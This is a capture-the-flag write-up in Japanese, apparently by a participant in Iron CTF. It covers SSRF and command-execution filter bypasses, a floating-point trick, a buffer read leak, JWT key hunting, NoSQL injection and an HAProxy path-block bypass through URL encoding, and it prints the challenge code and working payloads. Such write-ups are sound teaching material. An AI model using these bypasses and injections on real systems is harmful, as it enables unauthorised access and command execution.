Iron CTFに参加してました。discordでヒント、解答を見ながら行った解きなおしも含まれます。
b64SiteViewer
from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(__name__)
app.secret_key=os.urandom(16)
@app.route('/',methods=['GET','POST'])
def home():
if request.method=='GET':
return render_template('home.html')
if request.method=='POST':
try:
url=request.form.get('url')
scheme=urlparse(url).scheme
hostname=urlparse(url).hostname
blacklist_scheme=['file','gopher','php','ftp','dict','data']
blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
if scheme in blacklist_scheme:
return render_template_string('blocked scheme')
if hostname in blacklist_hostname:
return render_template_string('blocked host')
t=urllib.request.urlopen(url)
content = t.read()
output=base64.b64encode(content)
return (f'''base64 version of the site:
{output[:1000]}''')
except Exception as e:
print(e)
return f" An error occurred: {e} - Unable to visit this site, try some other website."
@app.route('/admin')
def admin():
remote_addr = request.remote_addr
if remote_addr in ['127.0.0.1', 'localhost']:
cmd=request.args.get('cmd','id')
cmd_blacklist=['REDACTED']
if "'" in cmd or '"' in cmd:
return render_template_string('Command blocked')
for i in cmd_blacklist:
if i in cmd:
return render_template_string('Command blocked')
print(f"Executing: {cmd}")
res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
return res.stdout
else:
return render_template_string("Don't hack me")
if __name__=="__main__":
app.run(host='0.0.0.0',port='5000')
#!/bin/bash
inp=$1
if [[ $flag == $inp ]]
then
echo "This is the flag"
else
echo "no"
fi
このようなサイトが与えられる。127.0.0.1,localhostとcmd_blacklist=['REDACTED']さえbypassできればSSRFとRCEができそう。いろいろ試したところ、
http://2130706433:5000/admin?cmd=set
で通った。ほかの方法としては、
http://[0:0:0:0:0:ffff:127.0.0.1]:5000/admin?cmd=head+run*
http://127.1:5000/admin?cmd=e\nv
があった。
Math Gone Wrong
nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.1
n1*10+n2*10 != (n1+n2)*10
above condition is false so no flag
n110+n210 != (n1+n2)*10が成立すればいいらしい。
浮動小数点での誤差を発生させる。なぜか0.1,0.2の組み合わせだと通った。
nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.2
b'ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}'
Introspection
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("\033[32m\"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step.\"\033[0m\n\n");
printf(" - ChatGPT\n");
printf("Have you thought about what you really wanted in life?\n");
char flag[50];
FILE *file = fopen("flag.txt", "r");
if (file == NULL)
{
printf("Error! flag.txt not found!");
exit(1);
}
fread(flag, 1, 50, file);
char buf[1008];
printf(">> ");
read(0, buf, 1008);
printf("I wish for you that you get %s", buf);
}
nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."
- ChatGPT
Have you thought about what you really wanted in life?
>> hai,ChatGPT!
I wish for you that you get hai,ChatGPT!
bufが1008なので、Aを1008回入力する。
python3 -c 'print("A" * 1008)' |nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."
- ChatGPT
Have you thought about what you really wanted in life?
>> I wish for you that you get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}
�x
JWT hunt
よくある宝探し問題だった。
User-agent: *
Disallow: /secretkeypart4
# Here's the first part of the secret key:
6yH$#v9Wq3e&Zf8L
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://example.com/</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/register</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/login</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/dashboard</loc>
<lastmod>2024-01-01</lastmod>
</url>
<!-- Third part of the secret key: 2C@mQjUwEbGoIhNy -->
</urlset>
$curl https://jwt-hunt.1nf1n1ty.team/secretkeypart4
<!doctype html>
<html lang="en">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ce49eacdd0a0b00',t:'MTcyODIwNjg5MS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
$curl -I https://jwt-hunt.1nf1n1ty.team/secretkeypart4
HTTP/2 200
date: Sun, 06 Oct 2024 09:26:35 GMT
content-type: text/html; charset=utf-8
secret-key-part-4: 0T!BxlVz5uMKA#Yp
cf-cache-status: DYNAMIC
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6b715Pda%2F7Or6nn3Qofvm9%2FDLUy%2F2o%2FJO8Sb77tNXsa%2BK%2BJmI8OEFQuIsTEDopAeJqek9IhXM42LCfMvVueFamJ5SnnD6SoO6UQBLBTEfigy2yTFsGrg%2FO6P07tN95QAo4V5%2FMSsZCv"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
speculation-rules: "/cdn-cgi/speculation"
server: cloudflare
cf-ray: 8ce49c559c14e062-NRT
これで鍵がそろった。6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp
jwt.ioでjwtを書き換える。
Welcome admin, here's your flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}
mango
Mangoから、言葉遊びでMongoDBだと推測、よくあるNoSQLiを試したら通った。
username=admin&password[$ne]=pass
をburpから送る。
しかし、普通に/admin/indexにアクセスするだけでアクセスできるようだった。
Loan App
from flask import Flask, render_template, request, redirect, session, url_for, flash
from flask_pymongo import PyMongo
from flask_bcrypt import Bcrypt
from bson.objectid import ObjectId
import os
import uuid
app = Flask(__name__)
app.config['MONGO_URI'] = os.getenv('MONGO_URI') or 'mongodb://mongo:27017/loanApp'
app.secret_key = os.getenv('SECRET_KEY') or 'secretKey'
mongo = PyMongo(app)
bcrypt = Bcrypt(app)
FLAG = os.getenv('FLAG') or 'ironCTF{testing_flag}'
@app.route('/')
def index():
if 'user_id' in session:
loans = mongo.db.loan.find({'user_id': session['user_id']})
return render_template('index.html', loans=loans)
return redirect(url_for('login'))
def is_uuid_v4(uuid_str):
uuid_v4_regex = re.compile(
r'^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12}$', re.IGNORECASE)
return bool(uuid_v4_regex.match(uuid_str))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not isinstance(username, str) or not isinstance(password, str):
flash('Both username and password must be strings', 'danger')
return redirect(url_for('register'))
if not is_uuid_v4(username) or not is_uuid_v4(password):
flash('Both username and password must be valid uuidV4', 'danger')
return redirect(url_for('register'))
hashed_password = bcrypt.generate_password_hash(password).decode('utf-8')
mongo.db.user.insert_one({'username': username, 'password': hashed_password})
flash('Registration successful!', 'success')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not isinstance(username, str) or not isinstance(password, str):
flash('Both username and password must be strings', 'danger')
return redirect(url_for('login'))
if not is_valid_uuid(username) or not is_valid_uuid(password):
flash('Both username and password must be valid UUIDs', 'danger')
return redirect(url_for('login'))
user = mongo.db.user.find_one({'username': username})
if user and bcrypt.check_password_hash(user['password'], password):
session['user_id'] = str(user['_id'])
flash('Login successful!', 'success')
return redirect(url_for('index'))
flash('Invalid username or password', 'danger')
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(url_for('login'))
@app.route('/loan-request', methods=['POST'])
def loan_request():
if 'user_id' in session:
amount = request.form['amount']
reason = request.form['reason']
mongo.db.loan.insert_one({'user_id': session['user_id'], 'amount': amount, 'reason': reason, 'status': 'pending'})
return redirect(url_for('index'))
return redirect(url_for('login'))
@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
try:
mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
return 'OK', 200
except:
return 'Internal Server Error', 500
if __name__ == '__main__':
app.run(port=5050)
from flask_pymongo import PyMongo
from bson import ObjectId
mongo = PyMongo()
class User:
def __init__(self, username, password, role='user'):
self.username = username
self.password = password
self.role = role
def save(self):
mongo.db.users.insert_one({
'username': self.username,
'password': self.password,
'role': self.role
})
@staticmethod
def find_by_username(username):
return mongo.db.users.find_one({'username': username})
class Loan:
def __init__(self, user_id, amount, reason, status='pending'):
self.user_id = user_id
self.amount = amount
self.reason = reason
self.status = status
def save(self):
mongo.db.loans.insert_one({
'user_id': self.user_id,
'amount': self.amount,
'reason': self.reason,
'status': self.status
})
@staticmethod
def find_by_user_id(user_id):
return mongo.db.loans.find({'user_id': user_id})
@staticmethod
def update_loan(loan_id, update_data):
mongo.db.loans.update_one({'_id': ObjectId(loan_id)}, {'$set': update_data})
version: '3.8'
services:
loanapp:
build:
context: . # Build from the current directory
depends_on:
- mongo # Ensure MongoDB is started before the app
environment:
- SECRET_KEY=REDACTED
- FLASK_APP=app.py
- MONGO_URI=mongodb://mongo:27017/loanApp
- FLAG=flag{fake_flag_for_test}
mongo:
image: mongo # Use the official MongoDB image
volumes:
- mongo-data:/data/db # Persist MongoDB data
loanapp-haproxy:
image: haproxy:2.3.5
# ports:
# - "80:80"
volumes:
- ./haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg
depends_on:
- loanapp
volumes:
mongo-data:
まずは登録する。Username,Passwordの両方がUUIDv4でないと許可されない。
ローンを入力すると、loan_idが出てくる。/admin/loan/loan_idにアクセスできれば勝ちだが、普通にアクセスすると、403が出る。
global
log stdout format raw local0
maxconn 2000
user root
group root
daemon
defaults
log global
option httplog
timeout client 30s
timeout server 30s
timeout connect 30s
frontend http_front
mode http
bind :80
acl is_admin path_beg /admin
http-request deny if is_admin
default_backend gunicorn
backend gunicorn
mode http
balance roundrobin
server loanserver loanapp:8000 maxconn 32
を見ると、/adminがブロックされていることがわかる。
そこで、
POST /%61dmin/loan/670273083b619fc5054d41e6 HTTP/1.1
aを%61でエンコードしてあげることで、403をbypassすることに成功した。